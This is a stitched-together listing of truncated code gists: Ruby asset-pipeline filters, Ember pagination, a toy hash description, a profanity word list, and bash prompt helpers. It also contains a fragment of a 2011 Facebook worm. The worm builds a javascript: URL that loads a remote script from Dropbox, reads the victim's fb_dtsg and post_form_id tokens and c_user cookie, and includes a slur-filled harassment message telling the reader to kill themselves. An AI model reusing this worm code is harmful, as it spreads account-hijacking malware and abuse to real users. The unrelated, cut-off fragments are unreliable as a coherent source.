Some exercises from the Falsy Values workshops.
The good parts:
- HTTP server and client in same script
- Express cookies example
- Express routing example
- Express error handling
- Express middlewares example
- Simple HTTP proxy
APPNAME = 'wh' | |
require 'json' | |
require 'rake-pipeline-web-filters' | |
WebFilters = Rake::Pipeline::Web::Filters | |
class LoaderFilter < WebFilters::MinispadeFilter | |
def generate_output(inputs, output) | |
inputs.each do |input| |
require "json" | |
require "uglifier" | |
require "rake-pipeline-web-filters" | |
# this gives you concat, coffee_script, and minispade methods | |
require "rake-pipeline-web-filters/helpers" | |
class HandlebarsFilter < Rake::Pipeline::Filter | |
def initialize(&block) | |
block ||= proc { |input| input.sub(/\.handlebars$/, '.js') } |
App.collectionController = Em.ArrayProxy.create(Ember.PaginationSupport, { | |
content: [], | |
fullContent: App.store.findAll(App.Job), | |
totalBinding: 'fullContent.length', | |
didRequestRange: function(rangeStart, rangeStop) { | |
var content = this.get('fullContent').slice(rangeStart, rangeStop); | |
this.replace(0, this.get('length'), content); | |
} | |
}); |
Description of AHF1 algorithm: | |
Initialize the four bytes H[0], H[1], H[2], H[3] to respectively 8D CA 2E 35 | |
Initialize IDX to 0 | |
For each byte B in the string to hash: | |
TARGET = (B XOR H[IDX]) MOD 4 | |
H[TARGET] = H[TARGET] XOR B |
easterEgg.BadWorder.list={ | |
"4r5e":1, | |
"5h1t":1, | |
"5hit":1, | |
a55:1, | |
anal:1, | |
anus:1, | |
ar5e:1, | |
arrse:1, | |
arse:1, |
Some exercises from the Falsy Values workshops.
The good parts:
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted). | |
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below."; | |
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();"; | |
var myText = "Remove This App"; | |
var post_form_id = document.getElementsByName('post_form_id')[0].value; | |
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; | |
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); |
function parse_git_branch() { | |
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1) /' | |
} | |
function breadcrumb() | |
{ | |
echo $1 | sed "s|^$HOME|~|" | awk -v n=$2 '{ | |
# Split the path into components | |
count = split($0, components, "/") |